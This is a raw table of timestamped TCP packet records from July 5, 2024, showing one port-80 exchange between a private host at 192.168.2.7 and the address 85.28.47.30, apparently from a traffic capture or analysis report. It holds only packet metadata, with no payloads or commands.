Jul 5, 2024 06:23:09.850106001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.850912094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.850979090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.851074934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.851174116 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.851212978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.851269960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.851667881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.851769924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.851805925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.851865053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852000952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852015972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852066994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852426052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852448940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852462053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852474928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852492094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852505922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852505922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852524996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852579117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852595091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852613926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852624893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852638960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852643013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852653980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852657080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852670908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852685928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852703094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852703094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852710009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852716923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852727890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852735043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852751017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852756023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852756023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852762938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852773905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852787018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852792978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852799892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852811098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852811098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852823973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.852842093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852842093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.852857113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858541965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858613968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858700037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858711958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858762980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858841896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858860016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858871937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858884096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858897924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858908892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858911991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858911991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858927011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858937979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858951092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.858957052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858985901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.858985901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859014034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859025002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859035969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859041929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859050035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859076977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859077930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859093904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859117031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859193087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859205008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859220982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859232903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859257936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859257936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859278917 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859353065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859374046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859407902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859407902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859522104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859534979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859544039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859559059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859570980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859575987 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859575987 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859582901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859599113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859632015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859666109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859678030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859688997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859702110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859714031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859724045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859724045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859724998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859738111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859752893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859755993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859764099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859765053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859777927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.859813929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.859833956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860167027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860178947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860194921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860208988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860223055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860260963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860327959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860340118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860349894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860369921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860390902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860390902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860430956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860466957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860508919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860625029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860637903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860647917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860661030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860672951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860673904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860673904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860686064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860697985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860708952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860711098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860711098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860721111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860733032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860738993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860744953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860755920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860765934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860776901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860786915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860790968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860805035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860806942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860852003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860852003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.860951900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860964060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860975027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.860985994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.861002922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861002922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861030102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861116886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.861135960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.861145973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.861156940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.861170053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861170053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861185074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.861215115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941365004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941385031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941397905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941498995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941549063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941565037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941579103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941580057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941596031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941602945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941617012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941627979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941633940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941633940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941642046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941659927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941659927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941673040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941687107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941687107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941689968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941715002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941725016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941735029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941745043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941749096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941749096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941756010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941776991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941777945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941792011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941802979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941807985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941822052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941826105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941838980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941839933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941854000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941863060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941863060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941864967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941875935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941886902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941888094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941900015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941910982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941910982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941922903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941932917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941943884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941948891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941960096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941965103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941965103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.941971064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.941982985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942001104 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942008972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942043066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942099094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942115068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942125082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942136049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942147017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942147970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942147970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942158937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942169905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942172050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942188025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942198992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942209959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942219973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942219973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942219973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942233086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942244053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942254066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942257881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942265034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942276955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.942286968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942286968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.942317963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950218916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950283051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950480938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950490952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950503111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950516939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950526953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950537920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950548887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950550079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950550079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950594902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950594902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950637102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950648069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950664997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950675964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950685024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950695992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950706959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950706959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950712919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950722933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950726986 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950747013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950758934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950768948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950772047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950772047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950781107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950790882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950792074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950803041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950813055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950824022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950833082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950833082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950839996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950860977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950871944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950879097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950879097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950886965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950898886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950903893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950910091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950921059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950932026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950944901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950953007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950953007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950953960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950967073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950984001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950994015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.950992107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.950992107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951006889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951016903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951029062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951042891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951042891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951064110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951368093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951389074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951400995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951411963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951440096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951461077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951462984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951476097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951487064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951498032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951504946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951504946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951507092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951528072 CEST	49699	80	192.168.2.7	85.28.47.30
